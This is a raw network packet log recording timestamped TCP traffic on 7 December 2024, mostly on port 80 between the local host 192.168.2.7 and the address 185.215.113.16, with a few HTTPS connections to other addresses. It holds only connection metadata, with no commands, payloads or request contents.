Dec 7, 2024 18:27:04.892973900 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.893066883 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.893079042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.893115044 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.893783092 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.893829107 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.893920898 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.893932104 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.893965006 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.894635916 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.894678116 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.894815922 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.894829035 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.894860029 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.894875050 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.895673990 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.895716906 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.895750999 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.895762920 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.895792961 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.896332979 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.896377087 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.896502018 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.896512985 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.896550894 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.897192001 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.897234917 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.897324085 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.897336960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.897375107 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.898034096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.898077965 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.898210049 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.898220062 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.898252964 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.898916960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.898962021 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.899059057 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.899070024 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.899111032 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.901350975 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.901397943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.901489019 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.901504993 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.901531935 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.901545048 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.901896954 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.901942015 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.902102947 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.902122021 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.902148008 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.902160883 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.902770042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.902811050 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.949835062 CET	49842	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:27:04.949899912 CET	443	49842	52.149.20.212	192.168.2.7
Dec 7, 2024 18:27:04.949970007 CET	49842	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:27:04.950330973 CET	49842	443	192.168.2.7	52.149.20.212
Dec 7, 2024 18:27:04.950342894 CET	443	49842	52.149.20.212	192.168.2.7
Dec 7, 2024 18:27:05.030019045 CET	443	49837	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:05.034284115 CET	443	49837	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:05.034348965 CET	443	49837	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:05.034356117 CET	49837	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:05.034411907 CET	49837	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:05.034460068 CET	49837	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:05.034477949 CET	443	49837	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:05.034487009 CET	49837	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:05.034492970 CET	443	49837	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:05.064042091 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.064097881 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.064110041 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.064151049 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.064181089 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.064434052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.064448118 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.064488888 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.064521074 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.064832926 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.064882994 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.065116882 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.065129042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.065175056 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.065431118 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.065480947 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.065655947 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.065668106 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.065705061 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.065721035 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.066340923 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.066385031 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.066457033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.066468954 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.066503048 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.066519022 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.067174911 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.067222118 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.067339897 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.067353010 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.067384958 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.067403078 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.068011045 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.068062067 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.068165064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.068176031 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.068212032 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.068228960 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.068994999 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.069042921 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.069127083 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.069139004 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.069173098 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.069190979 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.069725990 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.069776058 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.069875956 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.069888115 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.069922924 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.069936991 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.070656061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.070704937 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.070759058 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.070770979 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.070804119 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.070816994 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.071562052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.071609974 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.071700096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.071713924 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.071749926 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.071763039 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.072308064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.072355986 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.072452068 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.072464943 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.072499990 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.072511911 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.073157072 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.073201895 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.073487043 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.073498964 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.073525906 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.073539972 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.074018002 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.074146986 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.074160099 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.074223042 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.074846029 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.074906111 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.075022936 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.075037003 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.075069904 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.075086117 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.075722933 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.075771093 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.075838089 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.075851917 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.075881958 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.075896978 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.076581955 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.076630116 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.076718092 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.076733112 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.076759100 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.076772928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.077418089 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.077467918 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.077599049 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.077613115 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.077644110 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.077661037 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.078310966 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.078361034 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.078408957 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.078423023 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.078453064 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.078469992 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.079210043 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.079256058 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.079333067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.079346895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.079376936 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.079391956 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.080147028 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.080161095 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.080173016 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.080197096 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.080207109 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.081093073 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.081108093 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.081124067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.081141949 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.081163883 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.081681967 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.081731081 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.081818104 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.081831932 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.081865072 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.082520008 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.082567930 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.082681894 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.082695961 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.082729101 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.083633900 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.083682060 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.083982944 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.084006071 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.084029913 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.084045887 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.084685087 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.084733009 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.084882975 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.084897995 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.084934950 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.085134983 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.085180998 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.085516930 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.085530996 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.085565090 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.085582018 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.085701942 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.085747957 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.086255074 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.086301088 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.086455107 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.086468935 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.086500883 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.086515903 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.087079048 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.087130070 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.087238073 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.087250948 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.087285042 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.088040113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.088089943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.088172913 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.088186979 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.088208914 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.088228941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.089034081 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.089093924 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.089185953 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.089200020 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.089232922 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.089248896 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.089701891 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.089751005 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.089799881 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.089843988 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.090544939 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.090559006 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.090595961 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.090811014 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.090825081 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.090854883 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.090882063 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.091398954 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.091448069 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.091681004 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.091727972 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.093650103 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.093700886 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.093769073 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.093795061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.093812943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.093833923 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.094235897 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.094281912 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.094429016 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.094448090 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.094475985 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.094491005 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.094748020 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.094795942 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.256444931 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.256511927 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.256546974 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.256561995 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.256593943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.256608963 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.256949902 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.256994009 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.257208109 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.257221937 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.257250071 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.257270098 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.257606983 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.257658005 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.257832050 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.257878065 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.258045912 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.258059025 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.258086920 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.258102894 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.258805037 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.258848906 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.259010077 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.259022951 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.259051085 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.259063005 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.259689093 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.259731054 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.259788990 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.259804010 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.259833097 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.259845018 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.260416985 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.260461092 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.260540962 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.260565042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.260588884 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.260601997 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.261308908 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.261351109 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.261430025 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.261450052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.261467934 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.261487007 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.262217045 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.262252092 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.262396097 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.262409925 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.262434959 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.262460947 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.262953043 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.263004065 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.263149023 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.263166904 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.263201952 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.263221025 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.263804913 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.263993025 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.264005899 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.264020920 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.264061928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.264062881 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.264688969 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.264731884 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.264822006 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.264834881 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.264861107 CET	49831	80	192.168.2.7	185.215.113.16
